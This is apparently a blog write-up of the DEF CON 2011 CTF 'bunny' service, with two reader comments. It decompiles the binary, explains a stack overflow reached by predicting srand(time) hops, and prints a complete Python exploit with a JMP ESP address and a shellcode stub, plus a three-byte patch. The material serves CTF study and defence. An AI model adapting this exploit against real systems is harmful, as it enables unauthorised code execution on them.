bunny: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), for FreeBSD 8.2, stripped
This service classically listens on port 15323 and drops to privileges of user "bunny". For every connection, a child is forked and handler function is called.
Decompilation by IDA Pro with Hex-Rays gives:
int __cdecl handler(int first_fd) { int fd; // ebx@1 unsigned int seed; // eax@1 int newport; // ST20_4@2 int newsock; // [sp+24h] [bp-44h]@2 unsigned int i; // [sp+28h] [bp-40h]@1 struct sockaddr addr; // [sp+2Ch] [bp-3Ch]@3 socklen_t addr_len; // [sp+48h] [bp-20h]@1 char buf[12]; // [sp+4Ch] [bp-1Ch]@1 unsigned int hops; // [sp+58h] [bp-10h]@1 fd = first_fd; *(_DWORD *)buf = 0; *(_DWORD *)&buf[4] = 0; *(_WORD *)&buf[8] = 0; addr_len = 28; seed = time(0); srand(seed); hops = rand() % 30 + 5; printf_sock(first_fd, "Check out these %d hops\n", hops); i = 0; if ( hops ) { do { newport = rand() % 64511 + 1024; close(fd); newsock = bind_listen(newport); do fd = accept(newsock, &addr, &addr_len); while ( fd == -1 ); close(newsock); print_sock(fd, "nop nop nop!\n", 0); recv_sock(fd, (int)&buf[i], 1u); if ( strstr(buf, "/bin/sh") ) if_binsh(fd, 0); ++i; } while ( i < hops ); } print_sock(fd, "You made it!\n", 0); close(fd); return 0; }First, the server returns a number of hops determined by srand(time(0)) at connection, minimum 5 and maximum 34.
Then, the server enters the following loop:
- close the previous connection
- bind on rand() unprivileged (>1024) port
- receive 1 byte and store it on a stack buffer of size 12
- continue the loop if iterations < hops
The stack after the buffer is as follow:
char buf[12]; // [sp+4Ch] [bp-1Ch]@1 unsigned int hops; // [sp+58h] [bp-10h]@1
We can rewrite the hops variable if hops > 12, and modify it to increment the maximum number of iterations, allowing us to write as many bytes as we want on the stack: this is a stack-based buffer overflow.
Quick exploit
Synchronize the clocks, re-implement FreeBSD libc srand() & rand(), create a function to iterate the loop, and use it to exploit the stack-based buffer overflow with a JMP ESP + payload. We use the JMP ESP (FF E4) found in FreeBSD 8.2 libc at 0x2816065d.
Disadvantage: this requires many TCP connections, one for every byte we rewrite on the stack.
Better exploit
The string "/bin/sh" in the buffer triggers ddtek's backdoor, which does a malloc() then two recv() for size - recv(4) - then data - recv(size) - where size <= 0x400. Since we do not know ddtek's key we will fail the other checks and this memory will be freed. However, the data remains in memory at the address of the malloc (not zeroed) and this address remains untouched in the call stack.
Thus, we can build the following exploit:
- trigger "/bin/sh" backdoor, store payload there
- buffer overflow with JMP ESP + stub to retrieve malloc address on call stack and jump to it
- we can put the stub inside the buffer and use JMP ESP + short JMP
- total hops (number of new TCP connections) needed is only 38
- only depends on the address of JMP ESP
Exploit code:
#!/usr/bin/python # Defcon 2011 CTF - bunny import os, socket, time, random from struct import pack, unpack from sys import argv, exit DEFAULT_PORT = 15323 DEBUG = False JMP_ESP = 0x2816065d # FreeBSD 8.2 MAXTRIES = 5 # reimplement FreeBSD's libc srand/rand RAND_MAX = 0x7fffffff def srand(seed): global RAND_NEXT RAND_NEXT = seed def rand(): global RAND_NEXT if RAND_NEXT == 0: RAND_NEXT = 123459876 hi = RAND_NEXT / 127773 lo = RAND_NEXT % 127773 x = 16807 * lo - 2836 * hi if x < 0: x += 0x7fffffff RAND_NEXT = x & 0xFFFFFFFF return RAND_NEXT % (RAND_MAX + 1) def randchars(size): return "".join([chr(random.randint(0,255)) for i in range(size)]) def connect(dst, port): for retry in range(MAXTRIES): try: s = socket.socket(socket.AF_INET6 if ':' in dst else socket.AF_INET, socket.SOCK_STREAM) s.connect((dst, port)) return s except socket.error, e: if retry==MAXTRIES-1: print "Error: %s, too many fails, exiting" % repr(e) exit(1) print "Error: %s, retrying..." % repr(e) time.sleep(0.1) def recv(s, size=4096): d = s.recv(size) if DEBUG: print "S: %r" % d return d def send(s, d): if DEBUG: print "C: %r" % d return s.send(d) def correct_seed_with_hops(seed, hops): for i in range(-15,15): srand(seed+i) h = rand() % 30 + 5 if h == hops: return seed+i print "Error: failed to adjust seed with hops. Server time is different? (or service patched)" exit(1) def walk(s, dst, buf, hops=0): for i in range(len(buf)): newport = rand() % 64511 + 1024 print "[+] Hop #%i, connecting to port %i" % (hops+i+1, newport) s.close() time.sleep(0.1) s = connect(dst, newport) recv(s) send(s, buf[i]) return s def exploit(dst, port): while True: # auto-retry seed s = connect(dst, port) estimated_seed = int(time.time()) print "[*] Estimated seed: 0x%08x" % estimated_seed hops = int(recv(s).split(' ')[3]) # use that value to adjust seed if needed seed = correct_seed_with_hops(estimated_seed, hops) if seed != estimated_seed: print "[*] Corrected seed: 0x%08x" % seed if hops >= 13: break print "[!] Hops %i < 13, exploitation not possible, retrying..." % hops time.sleep(1) sc = "\xcc" # your shellcode # walk to the crypto backdoor, '/bin/sh' is the trigger s = walk(s, dst, "/bin/sh") # 7 hops # enter the crypto backdoor recv(s, 32) # receive random bytes send(s, pack("<I", len(sc))) # send size send(s, sc) # send data to malloc() area buf = randchars(5) buf += pack("<I", 7+5+4+16+4+2) # size buf += "\x8b\x84\x24\x5c\xfe\xff\xff" # 1) mov eax,[esp-420]: malloc address buf += "\xff\xe0" # jmp eax buf += randchars(7) buf += pack("<I", JMP_ESP) # eip buf += "\xeb" + chr(0xFE -20) # jump to 1) # walk to shellcode! total hops needed: 38 s = walk(s, dst, buf, 7) print "[x] Done" recv(s) s.close() if __name__=='__main__': if len(argv) < 2: print "Usage: %s <dst> [<port=%i>]" % (argv[0], DEFAULT_PORT) exit(1) dst = argv[1] port = int(argv[2]) if len(argv)>2 else DEFAULT_PORT try: exploit(dst, port) except KeyboardInterrupt: print "Interrupted"
Patch
Change handler's ret instruction with exit system call: just after xor eax,eax at 0x0804981a, put inc eax; int 0x80. It gives the following 3-bytes patch in IDA .dif format:
0000181C: 5B 40 0000181D: 5E CD 0000181E: 5F 80
Stack-buffer overflow will still be there but not exploitable, at least in this way. Also, unlike other teams who patched the number of hops to be < 13, this does not change how the server replies and therefore cannot be detected.
Note that changing system time to prevent exploitation may not be a good idea, because even ddtek would not be able to connect to their backdoor, therefore decreasing SLA (well, if ddtek notices it).
Thanks for the write up! Please keep em coming!
ReplyDeletehow did you study about NetworkProgramming in Python??
ReplyDelete